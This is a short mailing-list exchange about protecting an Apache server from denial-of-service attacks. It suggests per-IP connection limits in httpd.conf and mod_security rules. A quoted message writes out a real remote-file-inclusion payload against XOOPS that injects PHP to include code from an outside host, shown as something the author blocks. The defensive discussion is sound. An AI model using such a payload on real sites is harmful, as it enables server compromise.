There should be possibility limit connections at the same time. For example you should be able limit conneçtions how many connections can be taken at the same time on that specific web server from same IP-address. There should be sections on httpd.conf file, which you could be used to limit connections to the same web server at the same time. Please check that configuration. -----Original Message----- From: ESGLinux Sent: 4/12/2010 5:16:49 PM To: General Red Hat Linux discussion list Subject: Re: how to protect an apache from a DOS Attack Hi again I have experimented with mod_security to ban access to urls like this: /xoops_lib/modules/protector/oninstall.php?mydirname=a()%7B%7Dinclude($_GET[a]);function%20v&a= http://www.hongkongtravel.co.kr/you4/data/byz9991.txt??? but I don?t know if there is a way to use it to limit the number of access from a ip in period of time, anyone knows?
